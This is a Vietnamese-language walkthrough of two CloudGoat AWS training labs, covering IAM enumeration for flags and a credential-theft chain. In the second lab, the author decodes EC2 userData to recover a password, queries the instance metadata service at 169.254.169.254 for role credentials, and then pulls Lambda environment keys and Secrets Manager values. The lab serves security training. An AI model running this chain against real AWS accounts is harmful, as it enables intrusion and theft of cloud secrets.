CloudGoat [Part 1]
Setup
Linux
sudo apt install terraform awscli azure-cli jq -y
pipx install cloudgoat
Sau khi cài xong cần setup config
cloudgoat config aws
cloudgoat config whitelist --auto
Config aws
└─$ aws configure --profile cloudgoat
Cách tạo 1 Scenarios
└─$ cloudgoat create iam_enum_basics --profile cloudgoat
Scenario: iam_enum_basics
Cài đặt
└─$ cloudgoat create iam_enum_basics --profile cloudgoat
Đầu tiên là tạo một người dùng cg-bob và tạo access key cli tại iam.tf
# User: Bob (The starting point)
resource "aws_iam_user" "bob" {
name = "cg-bob-${var.cgid}"
# A little breadcrumb tag just for fun
tags = {
"Message" = "Enumerate me"
}
}
resource "aws_iam_access_key" "bob_keys" {
user = aws_iam_user.bob.name
}
Tiếp đến gắn (attach) policy IAMReadOnlyAccess vào user Bob. Terraform name "bob_base_permissions"
resource "aws_iam_user_policy_attachment" "bob_base_permissions" {
user = aws_iam_user.bob.name
policy_arn = "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
}
User Bob được gán (attach) hai managed policies gồm: IAMReadOnlyAccess và cg-flag1-managed-policy. Hai policy này cung cấp quyền đọc IAM cơ bản và chứa thông tin flag trong phần mô tả của policy tùy chỉnh.
👉 Flag 1 nằm trong description của IAM policy
👉 Flag 5 nằm trong trường Resource bên trong JSON policy (trỏ tới S3 ARN)
👉 Flag 2 nằm tại của IAM policy Statement
Tạo group và add bob vào trong group đó. Vì group có nhiều user nên users là 1 array list
👉 Flag 3 nằm trong thuộc tính path của IAM group cg-flag3-group.
👉 Flag 4 nằm trong tag của IAM role.
Exploit
Khi đó kịch bản sẽ tạo cho một IAM ban đầu là bob
Config profile bob và verify thành công
Flag 1
Liệt kê các policy đã được gắn (attached) vào người dùng Bob.
└─$ aws iam list-attached-user-policies --user-name cg-bob-cgidvyfhj16c0s --profile bob
Flag 1 nằm trong description
└─$ aws iam get-policy --policy-arn arn:aws:iam::941904984656:policy/cg-flag1-managed-policy-cgidvyfhj16c0s --profile bob
Flag 1 trong AWS
Flag 5
IAM policy có thể có nhiều version, và AWS không lưu JSON policy trực tiếp ở “policy”
Lấy version của policy
└─$ aws iam get-policy --policy-arn arn:aws:iam::941904984656:policy/cg-flag1-managed-policy-cgidvyfhj16c0s --profile bob
Lấy thông tin chi tiết của policy với version v1
└─$ aws iam get-policy-version --policy-arn arn:aws:iam::941904984656:policy/cg-flag1-managed-policy-cgidvyfhj16c0s --version-id v1 --profile bob
Flag 5 trong AWS
Có thể xem 2 chế độ đều được
Flag 2
Liệt kê policy inline của người dùng bob
└─$ aws iam list-user-policies --user-name cg-bob-cgidvyfhj16c0s --profile bob
{
"PolicyNames": [
"cg-flag2-inline-policy-cgidvyfhj16c0s"
]
}
Xem chi tiết thông tin policy đó
└─$ aws iam get-user-policy --user-name cg-bob-cgidvyfhj16c0s --policy-name cg-flag2-inline-policy-cgidvyfhj16c0s --profile bob
Flag 2 tại AWS
FLag 3
Flag 3 nằm trong thuộc tính path của IAM group cg-flag3-group.
└─$ aws iam list-groups-for-user --user-name cg-bob-cgidvyfhj16c0s --profile bob
Flag 3 trên AWS
Flag 4
└─$ aws iam list-roles --profile bob
└─$ aws iam list-roles --profile bob | jq -r '.Roles[].RoleName'
Xem chi tiết role
aws iam get-role --role-name cg-flag4-role-cgidvyfhj16c0s --profile bob
Flag 4 trên AWS
Destroy
cloudgoat destroy iam_enum_basics --profile cloudgoat
Scenario: data_secrets
Cài đặt
cloudgoat create data_secrets --profile cloudgoat
Verify start_user
File ec2.tf
Đầu tiên khởi tạo EC2 aws ami. user_data là script được truyền vào EC2 để chạy tự động khi máy khởi động lần đầu. Đoạn script thực hiện cấu hình với thông tin đăng nhập được hardcode trong script user_data và cho phép xác thực SSH bằng mật khẩu.
Security Group cho phép truy cập SSH đi vào ec2.
Ip whitelist phải được cấu hình đúng mới ssh được
└─$ cloudgoat config whitelist --auto
FIle lambda.tf
Sử dụng data source archive_file để tạo file ZIP chứa mã nguồn Lambda.
Sau đó tạo role cg-lambda-exec-role với trust policy cho phép dịch vụ Lambda (lambda.amazonaws.com) assume role.
Đoạn cấu hình tạo Lambda function và lưu trữ thông tin xác thực (Access Key và Secret Key) trong environment variables. Việc lưu trữ credentials theo cách này có thể dẫn đến rò rỉ thông tin nhạy cảm nếu Lambda bị truy cập trái phép.
Đây chính là Lambda function được deploy
Accesskey và secretkey được lưu tại ENV của Lambda
File iam.tf
Khởi tạo người dùng cg-lambda-user và access key. cg-lambda-user có quyền đọc AWS Secrets Manager
File secrets.tf
Vị trí flag được lưu tại secret
Exploit
Liệt kê ec2 instances đang chạy
└─$ aws ec2 describe-instances --region us-east-1 --profile start_user | jq -r ".Reservations[].Instances[].InstanceId"
i-0b900761212bdb957
Lầy public Ip
└─$ aws ec2 describe-instances --region us-east-1 --profile start_user | jq -r '.Reservations[].Instances[] | "ID: \(.InstanceId) | IP: \(.PublicIpAddress)"'
Xem thông tin chi tiết attribute userData instance
aws ec2 describe-instance-attribute --instance-id i-0b900761212bdb957 --attribute userData --region us-east-1 --profile start_user
Vì dữ liệu trả về là base64 nên decode.
Từ đó lấy được mật khẩu của người dùng ec2-user
ec2-user:CloudGoatInstancePassword!
SSH vào ec2 Instance
Khi truy cập được vào EC2, sử dụng IAM role gắn với instance. AWS cung cấp thông tin xác thực tạm thời (temporary credentials) thông qua Instance Metadata Service (IMDS) tại địa chỉ 169.254.169.254.
Tìm name của IAM role attached instance
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
cg-ec2-role-cgidcyzowvs0fr
Trên AWS nó chính là role này
Khi truy cập được vào EC2, kẻ tấn công có thể lấy credentials của IAM Role thông qua metadata service và sử dụng chúng để truy cập tài nguyên AWS theo quyền của role.
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-cgidcyzowvs0fr
Config và Verify ec2_role
Sử dụng token đó liệt kê funtion
└─$ aws lambda list-functions --region us-east-1 --profile ec2_role
aws lambda get-function --function-name <FUNCTION_NAME> --region us-east-1 --profile ec2_role
Lấy được enviroment
Config và verify
Từ quyền GetSecretValue, ListSecrets, DescribeSecret
aws secretsmanager list-secrets --region us-east-1 --profile lambda_user
aws secretsmanager get-secret-value --secret-id <SECRET_ARN> --region us-east-1 --profile lambda_user
Destroy
cloudgoat destroy data_secrets --profile cloudgoat